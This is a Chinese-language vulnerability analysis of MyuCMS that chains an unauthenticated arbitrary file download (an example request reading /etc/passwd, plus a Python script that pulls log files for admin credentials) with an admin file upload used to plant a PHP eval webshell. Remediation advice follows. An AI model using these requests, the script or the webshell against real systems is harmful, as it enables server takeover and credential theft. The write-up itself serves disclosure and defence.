某cms前台任意文件下载到后台文件上传getshell
字数 954 2025-08-26 22:11:45
MyuCMS 前台任意文件下载到后台文件上传 Getshell 漏洞分析
漏洞概述
MyuCMS 是一款基于 ThinkPHP 开发的开源内容管理系统,存在前台任意文件下载漏洞和后台任意文件上传漏洞。攻击者可以通过组合这两个漏洞实现从任意文件下载到获取后台权限再到上传 Webshell 的完整攻击链。
漏洞分析
1. 后台任意文件上传漏洞
漏洞位置: application/admin/controller/Forum.php
漏洞描述:
该文件上传功能未对上传文件类型和内容做任何限制,导致可以上传任意文件类型,包括 PHP 等可执行脚本文件。
2. 前台任意文件下载漏洞
漏洞位置: application/bbs/controller/Index.php
漏洞成因:
- 未进行身份验证
- 未对下载路径进行过滤
- 直接使用
is_file判断后执行readfile
漏洞利用方式:
http://127.0.0.1/cms/myucms/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1
参数说明:
url: 指定要下载的文件路径name: 下载时显示的文件名local: 控制下载方式的标志
完整攻击链
步骤1: 利用任意文件下载获取敏感信息
- 下载网站日志文件(通常包含后台登录凭证)
- 分析日志文件获取管理员账号密码
示例攻击代码:
# 不优雅但有效的遍历日志文件代码示例
import requests
base_url = "http://target.com/cms/myucms/index.php/bbs/index/download"
log_paths = [
"/runtime/log/202012/01.log",
"/runtime/log/202012/02.log",
# 可根据实际情况添加更多可能的日志路径
]
for path in log_paths:
params = {
'url': path,
'name': 'log.txt',
'local': 1
}
response = requests.get(base_url, params=params)
if response.status_code == 200:
print(f"Found log file: {path}")
print(response.text)
break
步骤2: 登录后台
- 从日志中提取管理员账号密码
- 登录后台管理系统
步骤3: 上传 Webshell
- 利用后台的文件上传功能上传 PHP Webshell
- 常见的 Webshell 内容:
<?php @eval($_POST['cmd']); ?>
步骤4: 连接 Webshell
- 使用蚁剑等工具连接上传的 Webshell
- 获取服务器控制权限
防御建议
-
文件下载功能:
- 实施严格的权限验证
- 限制可下载的文件路径范围
- 对下载参数进行严格过滤
-
文件上传功能:
- 实施文件类型白名单
- 检查文件内容而不仅是扩展名
- 重命名上传文件
- 将上传文件存储在非 Web 可访问目录
-
日志安全:
- 限制日志文件的访问权限
- 避免在日志中记录敏感信息
- 定期清理日志文件
-
其他安全措施:
- 使用强密码策略
- 实施登录失败锁定机制
- 定期更新系统和框架
参考链接
- CNVD-2019-44117
- ThinkPHP 安全最佳实践
通过这个漏洞分析,我们可以看到组合漏洞利用的威力,也提醒开发者在设计系统时需要全面考虑安全防护措施。